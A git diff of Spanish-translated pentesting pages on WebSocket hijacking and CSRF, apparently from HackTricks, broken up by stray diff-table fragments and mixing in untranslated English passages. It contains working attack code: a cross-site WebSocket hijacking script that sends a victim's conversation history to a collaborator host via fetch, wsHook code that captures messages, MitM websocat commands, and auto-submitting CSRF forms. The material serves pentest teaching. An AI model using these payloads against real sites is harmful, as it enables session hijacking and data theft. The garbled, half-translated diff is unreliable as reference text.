Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||||
Upgrade: websocket
|
||||
```
|
||||
Si el servidor acepta la conexión, devuelve una respuesta de handshake de WebSocket como la siguiente:
|
||||
Si el servidor acepta la conexión, devuelve una respuesta de saludo de WebSocket como la siguiente:
|
||||
```javascript
|
||||
HTTP/1.1 101 Switching Protocols
|
||||
Connection: Upgrade
|
||||
Upgrade: websocket
|
||||
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
```
|
||||
En este punto, la conexión de red permanece abierta y se puede utilizar para enviar mensajes WebSocket en ambas direcciones.
|
||||
En este punto, la conexión de red permanece abierta y se puede utilizar para enviar mensajes de WebSocket en ambas direcciones.
|
||||
|
||||
**Nota**
|
||||
|
||||
Varias **características** de los mensajes de **apretón de manos** de WebSocket son dignas de mención:
|
||||
Varios **aspectos** de los mensajes de **apretón de manos** de WebSocket son dignos de mención:
|
||||
|
||||
* Los encabezados **`Connection`** y **`Upgrade`** en la solicitud y respuesta **indican** que se trata de un **apretón de manos de WebSocket**.
|
||||
* El encabezado de solicitud **`Sec-WebSocket-Version`** especifica la **versión del protocolo WebSocket** que el cliente desea utilizar. Esto suele ser `13`.
|
||||
* El encabezado de solicitud **`Sec-WebSocket-Key`** contiene un **valor aleatorio** codificado en Base64, que debe generarse aleatoriamente en cada solicitud de apretón de manos.
|
||||
* El encabezado de respuesta **`Sec-WebSocket-Accept`** contiene un hash del valor enviado en el encabezado de solicitud `Sec-WebSocket-Key`, concatenado con una cadena específica definida en la especificación del protocolo. Esto se hace para evitar respuestas engañosas resultantes de servidores mal configurados o proxies de caché.
|
||||
|
||||
El encabezado **`Sec-WebSocket-Key`** contiene un **valor aleatorio** para evitar errores de proxies de caché, y **no se utiliza para fines de autenticación o manejo de sesiones** (_No es un token CSRF_).
|
||||
El encabezado **`Sec-WebSocket-Key`** contiene un **valor aleatorio** para evitar errores de proxies de caché y **no se utiliza para fines de autenticación o manejo de sesiones** (_No es un token CSRF_).
|
||||
|
||||
### Consola de Linux
|
||||
|
||||
|
@ -68,45 +68,57 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
|
|||
```
|
||||
## Conexiones websocket MitM
|
||||
|
||||
Si descubres que los clientes están conectados a un **websocket HTTP** desde tu red local actual, podrías intentar un [ataque de ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
|
||||
Una vez que el cliente intenta conectarse a ti, puedes usar:
|
||||
Si descubres que los clientes están conectados a un **websocket HTTP** desde tu red local actual, puedes intentar un [Ataque de ARP Spoofing](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
|
||||
Una vez que el cliente esté intentando conectarse, puedes utilizar:
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
```
|
||||
## Enumeración de WebSockets
|
||||
## Enumeración de Websockets
|
||||
|
||||
Puedes utilizar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, identificar y buscar automáticamente** **vulnerabilidades** **conocidas** en WebSockets.
|
||||
Puedes utilizar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, identificar y buscar** **vulnerabilidades** conocidas en websockets de forma automática.
|
||||
|
||||
## Herramientas de depuración de Websockets
|
||||
|
||||
* **Burp Suite** admite la comunicación de websockets en modo MitM de manera muy similar a como lo hace con la comunicación HTTP regular.
|
||||
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
|
||||
* [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL interactivo de websockets** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes entrantes de websockets y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación. 
|
||||
* [**https://websocketking.com/**](https://websocketking.com/) es una **web para comunicarse** con otras webs utilizando **websockets**.
|
||||
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona una **web para comunicarse** con otras webs utilizando **websockets**.
|
||||
|
||||
## Laboratorio de Websockets
|
||||
|
||||
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un código para lanzar una web utilizando websockets y en [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
|
||||
|
||||
## Secuestro de WebSocket entre sitios (CSWSH)
|
||||
|
||||
También conocido como _secuestro de WebSocket entre orígenes cruzados_.\
|
||||
También conocido como _secuestro de WebSocket entre orígenes_.\
|
||||
**Es un** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **en un handshake de WebSocket**.
|
||||
|
||||
Surge cuando la solicitud de **handshake de WebSocket** se basa únicamente en **cookies HTTP** para el manejo de sesiones y no contiene ningún token CSRF u otros valores impredecibles.\
|
||||
Un atacante puede crear una **página web maliciosa** en su propio dominio que **establece una conexión WebSocket entre sitios** con la aplicación vulnerable. La aplicación manejará la conexión en el **contexto de la sesión del usuario víctima** con la aplicación.
|
||||
Un atacante puede crear una **página web maliciosa** en su propio dominio que **establece una conexión de WebSocket entre sitios** con la aplicación vulnerable. La aplicación manejará la conexión en el **contexto de la sesión del usuario víctima** con la aplicación.
|
||||
|
||||
### Ataque simple
|
||||
|
||||
Ten en cuenta que al **establecer** una conexión **WebSocket**, la **cookie** se **envía** al servidor. El **servidor** puede estar usándola para **relacionar** a cada **usuario específico** con su **sesión de WebSocket basada en la cookie enviada**.
|
||||
Ten en cuenta que al **establecer** una conexión de **websocket**, la **cookie** se **envía** al servidor. El **servidor** puede estar utilizándola para **relacionar** a cada **usuario específico** con su **sesión de websocket basada en la cookie enviada**.
|
||||
|
||||
Entonces, si por **ejemplo** el **servidor WebSocket** **envía de vuelta el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **simple XSS** que establezca la conexión (la **cookie** se enviará **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
|
||||
Entonces, si por **ejemplo** el **servidor de websocket** **envía de vuelta el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **simple XSS** al establecer la conexión (la **cookie** se enviará **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" será capaz de **recuperar** el historial de la **conversación**.
|
||||
```markup
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
websocket.onopen = start
|
||||
websocket.onmessage = handleReply
|
||||
function start(event) {
|
||||
websocket.send("READY"); //Send the message to retreive confidential information
|
||||
websocket.send("READY"); //Send the message to retreive confidential information
|
||||
}
|
||||
function handleReply(event) {
|
||||
//Exfiltrate the confidential information to attackers server
|
||||
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
//Exfiltrate the confidential information to attackers server
|
||||
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
}
|
||||
</script>
|
||||
```
|
||||
### Cross Origin + Cookie con un subdominio diferente
|
||||
|
||||
En esta publicación de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logró **ejecutar código Javascript arbitrario en un subdominio** del dominio donde se estaba produciendo la comunicación del socket web. Debido a que era un **subdominio**, la **cookie** estaba siendo **enviada**, y debido a que el **Websocket no verificaba correctamente el Origen**, era posible comunicarse con él y **robar tokens de él**.
|
||||
En esta publicación de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), el atacante logró **ejecutar código Javascript arbitrario en un subdominio** del dominio donde se estaba produciendo la comunicación del websocket. Debido a que era un **subdominio**, la **cookie** se estaba **enviando**, y debido a que el **Websocket no verificaba correctamente el origen**, era posible comunicarse con él y **robar tokens de él**.
|
||||
|
||||
### Robando datos del usuario
|
||||
|
||||
|
@ -119,18 +131,18 @@ Copia la aplicación web que deseas suplantar (los archivos .html, por ejemplo)
|
|||
//is sent by the client or received from the server
|
||||
//These code must be between some <script> tags or inside a .js file
|
||||
wsHook.before = function(data, url) {
|
||||
var xhttp = new XMLHttpRequest();
|
||||
xhttp.open("GET", "client_msg?m="+data, true);
|
||||
xhttp.send();
|
||||
var xhttp = new XMLHttpRequest();
|
||||
xhttp.open("GET", "client_msg?m="+data, true);
|
||||
xhttp.send();
|
||||
}
|
||||
wsHook.after = function(messageEvent, url, wsObject) {
|
||||
var xhttp = new XMLHttpRequest();
|
||||
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
||||
xhttp.send();
|
||||
return messageEvent;
|
||||
var xhttp = new XMLHttpRequest();
|
||||
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
|
||||
xhttp.send();
|
||||
return messageEvent;
|
||||
}
|
||||
```
|
||||
Descarga el archivo `wsHook.js` desde [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) y **guárdalo dentro de la carpeta con los archivos web**.\
|
||||
Ahora descarga el archivo `wsHook.js` desde [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) y **guárdalo dentro de la carpeta con los archivos web**.\
|
||||
Exponiendo la aplicación web y haciendo que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos a través del websocket:
|
||||
```javascript
|
||||
sudo python3 -m http.server 80
|
||||
|
@ -141,7 +153,7 @@ Como los Web Sockets son un mecanismo para enviar datos al lado del servidor y a
|
|||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
Esta vulnerabilidad podría permitirte saltarte las restricciones de los proxies inversos haciendo que crean que se estableció una comunicación websocket (incluso si no es cierto). Esto podría permitir a un atacante acceder a endpoints ocultos. Para obtener más información, consulte la siguiente página:
|
||||
Esta vulnerabilidad podría permitirte evadir las restricciones de los proxies inversos haciendo que crean que se estableció una comunicación websocket (aunque no sea cierto). Esto podría permitir a un atacante acceder a puntos finales ocultos. Para obtener más información, consulta la siguiente página:
|
||||
|
||||
{% content-ref url="h2c-smuggling.md" %}
|
||||
[h2c-smuggling.md](h2c-smuggling.md)
|
||||
|
@ -157,8 +169,8 @@ Esta vulnerabilidad podría permitirte saltarte las restricciones de los proxies
|
|||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -45,11 +45,11 @@ Se pueden implementar varias **contramedidas** para evitar esta vulnerabilidad.
|
|||
* [**Cookies SameSite**](hacking-with-cookies/#samesite): Si la cookie de sesión utiliza esta bandera, es posible que no puedas enviar la cookie desde sitios web arbitrarios.
|
||||
* [**Compartición de recursos entre orígenes**](cors-bypass.md): Dependiendo del tipo de solicitud HTTP que necesites realizar para abusar de la acción relevante, debes tener en cuenta la **política CORS del sitio víctima**. _Ten en cuenta que la política CORS no afectará si solo quieres enviar una solicitud GET o una solicitud POST desde un formulario y no necesitas leer la respuesta._
|
||||
* Solicitar la **contraseña** del usuario para autorizar la acción.
|
||||
* Resolver un **captcha**.
|
||||
* Resolver un **captcha**
|
||||
* Leer los encabezados **Referrer** u **Origin**. Si se utiliza una expresión regular, se puede eludir, por ejemplo, con:
|
||||
* http://mal.net?orig=http://example.com (termina con la URL)
|
||||
* http://example.com.mal.net (comienza con la URL)
|
||||
* **Modificar** el **nombre** de los **parámetros** de la solicitud POST o GET.
|
||||
* **Modificar** el **nombre** de los **parámetros** de la solicitud POST o GET
|
||||
* Usar un **token CSRF** en cada sesión. Este token debe enviarse dentro de la solicitud para confirmar la acción. Este token puede estar protegido con CORS.
|
||||
|
||||
### Mapa de CSRF
|
||||
|
@ -60,11 +60,11 @@ Se pueden implementar varias **contramedidas** para evitar esta vulnerabilidad.
|
|||
|
||||
### De POST a GET
|
||||
|
||||
Tal vez el formulario que deseas aprovechar está preparado para enviar una **solicitud POST con un token CSRF**, pero debes **verificar** si también es **válido** enviar una solicitud **GET** y si al enviar una solicitud GET el **token CSRF sigue siendo validado**.
|
||||
Tal vez el formulario que deseas aprovechar está preparado para enviar una **solicitud POST con un token CSRF**, pero debes **verificar** si también es **válido** enviar una solicitud GET y si se sigue **validando el token CSRF** cuando se envía una solicitud GET.
|
||||
|
||||
### Falta de token
|
||||
|
||||
Algunas aplicaciones **validan correctamente el token cuando está presente pero omiten la validación si el token se omite**.\
|
||||
Algunas aplicaciones **validan correctamente el token cuando está presente pero omiten la validación si se omite el token**.\
|
||||
En esta situación, el atacante puede **eliminar el parámetro completo** que contiene el token (no solo su valor) para eludir la validación y realizar un ataque CSRF.
|
||||
|
||||
### El token CSRF no está vinculado a la sesión del usuario
|
||||
|
@ -181,7 +181,7 @@ document.forms[0].submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -240,35 +240,19 @@ To make a form POST request, the client sends an HTTP POST request to the server
|
|||
|
||||
Para realizar una solicitud de envío de formulario, el cliente envía una solicitud HTTP POST al servidor con los datos del formulario incluidos en el cuerpo de la solicitud. Luego, el servidor procesa los datos y responde en consecuencia.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
In a typical scenario, the server generates a unique token, known as a CSRF token, and includes it in the form as a hidden field. When the form is submitted, the CSRF token is also sent along with the other form data.
|
||||
|
||||
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into submitting a malicious request. This attack occurs when a malicious website or email tricks the victim's browser into making a request to a target website on which the victim is authenticated.
|
||||
En un escenario típico, el servidor genera un token único, conocido como token CSRF, y lo incluye en el formulario como un campo oculto. Cuando se envía el formulario, el token CSRF también se envía junto con los demás datos del formulario.
|
||||
|
||||
Cross-Site Request Forgery (CSRF) es un ataque que engaña a la víctima para que envíe una solicitud maliciosa. Este ataque ocurre cuando un sitio web o correo electrónico malicioso engaña al navegador de la víctima para que realice una solicitud a un sitio web objetivo en el que la víctima está autenticada.
|
||||
The server validates the CSRF token to ensure that the request is legitimate and not a result of a cross-site request forgery (CSRF) attack. If the CSRF token is missing or invalid, the server rejects the request.
|
||||
|
||||
The attack takes advantage of the fact that many websites rely solely on session cookies for authentication, without additional security measures. By tricking the victim's browser into making a request, the attacker can perform actions on behalf of the victim without their knowledge or consent.
|
||||
El servidor valida el token CSRF para asegurarse de que la solicitud sea legítima y no sea el resultado de un ataque de falsificación de solicitud entre sitios (CSRF). Si el token CSRF está ausente o es inválido, el servidor rechaza la solicitud.
|
||||
|
||||
El ataque aprovecha el hecho de que muchos sitios web se basan únicamente en cookies de sesión para la autenticación, sin medidas de seguridad adicionales. Al engañar al navegador de la víctima para que realice una solicitud, el atacante puede realizar acciones en nombre de la víctima sin su conocimiento o consentimiento.
|
||||
By including a CSRF token in the form, the server can protect against CSRF attacks by verifying that the request originated from the same website. This helps prevent malicious actors from tricking users into submitting unauthorized requests.
|
||||
|
||||
### Preventing CSRF Attacks
|
||||
Al incluir un token CSRF en el formulario, el servidor puede protegerse contra ataques CSRF verificando que la solicitud se originó en el mismo sitio web. Esto ayuda a prevenir que actores maliciosos engañen a los usuarios para que envíen solicitudes no autorizadas.
|
||||
|
||||
To prevent CSRF attacks, web applications can implement measures such as:
|
||||
|
||||
- **CSRF tokens**: Generating and validating unique tokens for each user session. These tokens are included in the form and verified on the server-side to ensure that the request is legitimate.
|
||||
|
||||
- **SameSite cookies**: Setting the SameSite attribute on cookies to restrict their usage to same-site requests, preventing them from being sent in cross-site requests.
|
||||
|
||||
- **Referer header validation**: Checking the Referer header on the server-side to ensure that requests originate from the same domain.
|
||||
|
||||
### Prevención de ataques CSRF
|
||||
|
||||
Para prevenir ataques CSRF, las aplicaciones web pueden implementar medidas como:
|
||||
|
||||
- **Tokens CSRF**: Generar y validar tokens únicos para cada sesión de usuario. Estos tokens se incluyen en el formulario y se verifican en el lado del servidor para asegurarse de que la solicitud sea legítima.
|
||||
|
||||
- **Cookies SameSite**: Establecer el atributo SameSite en las cookies para restringir su uso a solicitudes del mismo sitio, evitando que se envíen en solicitudes entre sitios.
|
||||
|
||||
- **Validación del encabezado Referer**: Verificar el encabezado Referer en el lado del servidor para asegurarse de que las solicitudes se originen desde el mismo dominio.
|
||||
It is important for developers to implement CSRF protection measures in their web applications to ensure the security of user data and prevent unauthorized actions.
|
||||
```markup
|
||||
<html>
|
||||
<body>
|
||||
|
@ -319,6 +303,38 @@ document.forms[0].submit();
|
|||
</html>
|
||||
```
|
||||
### **Solicitud POST de Ajax**
|
||||
|
||||
En una aplicación web, las solicitudes Ajax se utilizan comúnmente para enviar y recibir datos del servidor sin tener que recargar la página. Esto se logra mediante el uso de la función `XMLHttpRequest` en JavaScript para enviar solicitudes HTTP asincrónicas.
|
||||
|
||||
Una solicitud POST de Ajax se utiliza para enviar datos al servidor. En lugar de utilizar el método GET, que coloca los datos en la URL, el método POST envía los datos en el cuerpo de la solicitud HTTP.
|
||||
|
||||
Aquí hay un ejemplo de cómo se puede realizar una solicitud POST de Ajax utilizando JavaScript:
|
||||
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("POST", "/endpoint", true);
|
||||
xhr.setRequestHeader("Content-Type", "application/json");
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState === 4 && xhr.status === 200) {
|
||||
console.log(xhr.responseText);
|
||||
}
|
||||
};
|
||||
var data = {
|
||||
username: "usuario",
|
||||
password: "contraseña"
|
||||
};
|
||||
xhr.send(JSON.stringify(data));
|
||||
```
|
||||
|
||||
En este ejemplo, se crea un objeto `XMLHttpRequest` y se abre una conexión POST con el servidor en la URL "/endpoint". Luego, se establece el encabezado "Content-Type" en "application/json" para indicar que los datos se enviarán en formato JSON.
|
||||
|
||||
El evento `onreadystatechange` se utiliza para manejar la respuesta del servidor. Si el estado de la solicitud es 4 (completado) y el estado HTTP es 200 (éxito), se muestra la respuesta del servidor en la consola.
|
||||
|
||||
Los datos que se enviarán al servidor se definen en el objeto `data`. En este caso, se envía un objeto JSON con las propiedades "username" y "password".
|
||||
|
||||
Al utilizar solicitudes POST de Ajax, es importante tener en cuenta la protección contra ataques CSRF (Cross-Site Request Forgery). CSRF es un tipo de ataque en el que un atacante engaña a un usuario para que realice una acción no deseada en un sitio web en el que el usuario está autenticado.
|
||||
|
||||
Para protegerse contra CSRF, se pueden implementar medidas como el uso de tokens CSRF, que son valores únicos generados por el servidor y se incluyen en cada solicitud. El servidor verifica que el token sea válido antes de procesar la solicitud. Esto ayuda a garantizar que las solicitudes solo se realicen desde el sitio web legítimo y no desde un sitio malicioso.
|
||||
```markup
|
||||
<script>
|
||||
var xh;
|
||||
|
@ -349,49 +365,36 @@ data: "param=value¶m2=value2"
|
|||
|
||||
When submitting a form on a website, the data is typically sent using the `application/x-www-form-urlencoded` content type. However, in some cases, the form may require the use of the `multipart/form-data` content type.
|
||||
|
||||
Cuando se envía un formulario en un sitio web, los datos se suelen enviar utilizando el tipo de contenido `application/x-www-form-urlencoded`. Sin embargo, en algunos casos, el formulario puede requerir el uso del tipo de contenido `multipart/form-data`.
|
||||
The `multipart/form-data` content type is commonly used when uploading files or when the form contains binary data. This content type allows the data to be divided into multiple parts, each with its own set of headers.
|
||||
|
||||
This content type is commonly used when uploading files or when the form includes binary data. It allows the data to be divided into multiple parts, each with its own content type and headers.
|
||||
|
||||
Este tipo de contenido se utiliza comúnmente cuando se cargan archivos o cuando el formulario incluye datos binarios. Permite que los datos se dividan en varias partes, cada una con su propio tipo de contenido y encabezados.
|
||||
|
||||
To send a `multipart/form-data` POST request, the request body must be formatted accordingly. Each part of the data should be separated by a boundary, which is a unique string that does not appear in the data itself.
|
||||
|
||||
Para enviar una solicitud POST `multipart/form-data`, el cuerpo de la solicitud debe estar formateado correctamente. Cada parte de los datos debe estar separada por un límite, que es una cadena única que no aparece en los propios datos.
|
||||
|
||||
Each part consists of a set of headers and the actual data. The headers specify the content type, content disposition, and other relevant information.
|
||||
|
||||
Cada parte consta de un conjunto de encabezados y los datos reales. Los encabezados especifican el tipo de contenido, la disposición del contenido y otra información relevante.
|
||||
|
||||
Here is an example of a `multipart/form-data` POST request:
|
||||
|
||||
Aquí tienes un ejemplo de una solicitud POST `multipart/form-data`:
|
||||
To craft a `multipart/form-data` POST request, you need to include the appropriate headers and format the data correctly. Here's an example of what the request might look like:
|
||||
|
||||
```http
|
||||
POST /upload HTTP/1.1
|
||||
POST /submit-form HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: multipart/form-data; boundary=---------------------------1234567890
|
||||
|
||||
-----------------------------1234567890
|
||||
Content-Disposition: form-data; name="file"; filename="example.txt"
|
||||
Content-Type: text/plain
|
||||
|
||||
This is the content of the file.
|
||||
Content-Disposition: form-data; name="username"
|
||||
|
||||
john.doe
|
||||
-----------------------------1234567890
|
||||
Content-Disposition: form-data; name="name"
|
||||
Content-Disposition: form-data; name="profile_picture"; filename="picture.jpg"
|
||||
Content-Type: image/jpeg
|
||||
|
||||
John Doe
|
||||
[Binary data of the image]
|
||||
-----------------------------1234567890--
|
||||
```
|
||||
|
||||
In this example, the request is being sent to `example.com/upload`. The request body consists of two parts: one for the file being uploaded and another for the name field.
|
||||
In the example above, the request starts with the usual HTTP headers, including the `Content-Type` header specifying the `multipart/form-data` content type. The `boundary` parameter is used to separate the different parts of the request.
|
||||
|
||||
En este ejemplo, la solicitud se envía a `example.com/upload`. El cuerpo de la solicitud consta de dos partes: una para el archivo que se está cargando y otra para el campo de nombre.
|
||||
Each part of the request starts with a boundary line, followed by the headers specific to that part. In this example, there are two parts: one for the `username` field and another for the `profile_picture` field. The `Content-Disposition` header specifies the name of the field, and in the case of the `profile_picture` field, it also includes the filename.
|
||||
|
||||
The boundary used in this example is `---------------------------1234567890`. Each part is separated by this boundary, and the boundary is also used to indicate the end of the request body.
|
||||
After the headers, the actual data is included. For text fields like `username`, the data is simply the field value. For file uploads, the data is the binary content of the file.
|
||||
|
||||
El límite utilizado en este ejemplo es `---------------------------1234567890`. Cada parte está separada por este límite, y el límite también se utiliza para indicar el final del cuerpo de la solicitud.
|
||||
Finally, the request ends with a boundary line followed by two hyphens (`--`) to indicate the end of the request.
|
||||
|
||||
By understanding how to craft a `multipart/form-data` POST request, you can effectively interact with web forms that require this content type, including those that involve file uploads.
|
||||
```javascript
|
||||
myFormData = new FormData();
|
||||
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
|
||||
|
@ -455,17 +458,21 @@ xhr.sendAsBinary(body);
|
|||
```
|
||||
### Solicitud POST de formulario desde un iframe
|
||||
|
||||
When an HTML form is submitted, the browser sends a POST request to the specified URL. This behavior can be exploited in a Cross-Site Request Forgery (CSRF) attack by tricking a user into submitting a form without their knowledge or consent.
|
||||
When an HTML form is submitted, the browser sends a POST request to the server with the form data. This can be exploited in a Cross-Site Request Forgery (CSRF) attack by tricking a user into submitting a form without their knowledge or consent.
|
||||
|
||||
Cuando se envía un formulario HTML, el navegador envía una solicitud POST a la URL especificada. Este comportamiento puede ser explotado en un ataque de falsificación de solicitud entre sitios (CSRF) al engañar a un usuario para que envíe un formulario sin su conocimiento o consentimiento.
|
||||
Cuando se envía un formulario HTML, el navegador envía una solicitud POST al servidor con los datos del formulario. Esto puede ser explotado en un ataque de falsificación de solicitud entre sitios (CSRF) al engañar a un usuario para que envíe un formulario sin su conocimiento o consentimiento.
|
||||
|
||||
To execute a CSRF attack using an iframe, the attacker can embed a malicious page containing a hidden form within an iframe on a legitimate website. When the user visits the legitimate website, the hidden form is automatically submitted, sending the user's session cookies and any other sensitive information to the attacker's server.
|
||||
To perform a CSRF attack using an iframe, an attacker can create a webpage with an invisible iframe that loads a target website containing a vulnerable form. The attacker can then use JavaScript to automatically submit the form within the iframe, sending the POST request to the target website.
|
||||
|
||||
Para ejecutar un ataque CSRF utilizando un iframe, el atacante puede incrustar una página maliciosa que contenga un formulario oculto dentro de un iframe en un sitio web legítimo. Cuando el usuario visita el sitio web legítimo, el formulario oculto se envía automáticamente, enviando las cookies de sesión del usuario y cualquier otra información confidencial al servidor del atacante.
|
||||
Para realizar un ataque CSRF utilizando un iframe, un atacante puede crear una página web con un iframe invisible que cargue un sitio web objetivo que contenga un formulario vulnerable. Luego, el atacante puede usar JavaScript para enviar automáticamente el formulario dentro del iframe, enviando la solicitud POST al sitio web objetivo.
|
||||
|
||||
To prevent CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, which are unique tokens embedded in forms to verify the authenticity of the request. Additionally, web browsers have implemented security features like the SameSite attribute for cookies, which can help mitigate CSRF attacks.
|
||||
The victim, who is logged into the target website, visits the attacker's webpage. Since the iframe is invisible, the victim is unaware that their browser is submitting a form on their behalf. The POST request is sent with the victim's session cookies, allowing the attacker to perform actions on behalf of the victim.
|
||||
|
||||
Para prevenir ataques CSRF, los desarrolladores web deben implementar medidas como el uso de tokens anti-CSRF, que son tokens únicos incrustados en formularios para verificar la autenticidad de la solicitud. Además, los navegadores web han implementado características de seguridad como el atributo SameSite para cookies, que pueden ayudar a mitigar los ataques CSRF.
|
||||
La víctima, que ha iniciado sesión en el sitio web objetivo, visita la página web del atacante. Dado que el iframe es invisible, la víctima no se da cuenta de que su navegador está enviando un formulario en su nombre. La solicitud POST se envía con las cookies de sesión de la víctima, lo que permite al atacante realizar acciones en nombre de la víctima.
|
||||
|
||||
To protect against CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, which are unique tokens embedded in forms to verify the authenticity of the request. Additionally, web browsers can implement same-origin policies to restrict the execution of scripts within iframes.
|
||||
|
||||
Para protegerse contra ataques CSRF, los desarrolladores web deben implementar medidas como el uso de tokens anti-CSRF, que son tokens únicos incrustados en formularios para verificar la autenticidad de la solicitud. Además, los navegadores web pueden implementar políticas de mismo origen para restringir la ejecución de scripts dentro de iframes.
|
||||
```markup
|
||||
<--! expl.html -->
|
||||
|
||||
|
@ -497,7 +504,7 @@ Aquí hay un ejemplo de cómo se puede realizar este ataque:
|
|||
|
||||
Es importante tener en cuenta que este ataque solo es exitoso si el usuario está autenticado en el sitio web objetivo y si el sitio no implementa medidas de protección adecuadas, como la verificación del origen de las solicitudes.
|
||||
|
||||
Para protegerse contra los ataques CSRF, los desarrolladores deben implementar medidas de seguridad, como el uso de tokens CSRF aleatorios y la verificación del origen de las solicitudes. Los usuarios también deben ser conscientes de los posibles riesgos y evitar hacer clic en enlaces sospechosos o abrir archivos adjuntos de fuentes no confiables.
|
||||
Para protegerse contra los ataques CSRF, los desarrolladores deben implementar medidas de seguridad, como el uso de tokens CSRF que sean únicos y aleatorios para cada sesión y la verificación del origen de las solicitudes. Los usuarios también deben ser conscientes de los posibles riesgos y evitar hacer clic en enlaces sospechosos o abrir archivos adjuntos de fuentes no confiables.
|
||||
```javascript
|
||||
function submitFormWithTokenJS(token) {
|
||||
var xhr = new XMLHttpRequest();
|
||||
|
@ -546,45 +553,44 @@ getTokenJS();
|
|||
```
|
||||
### **Robar el token CSRF y enviar una solicitud POST utilizando un iframe, un formulario y Ajax**
|
||||
|
||||
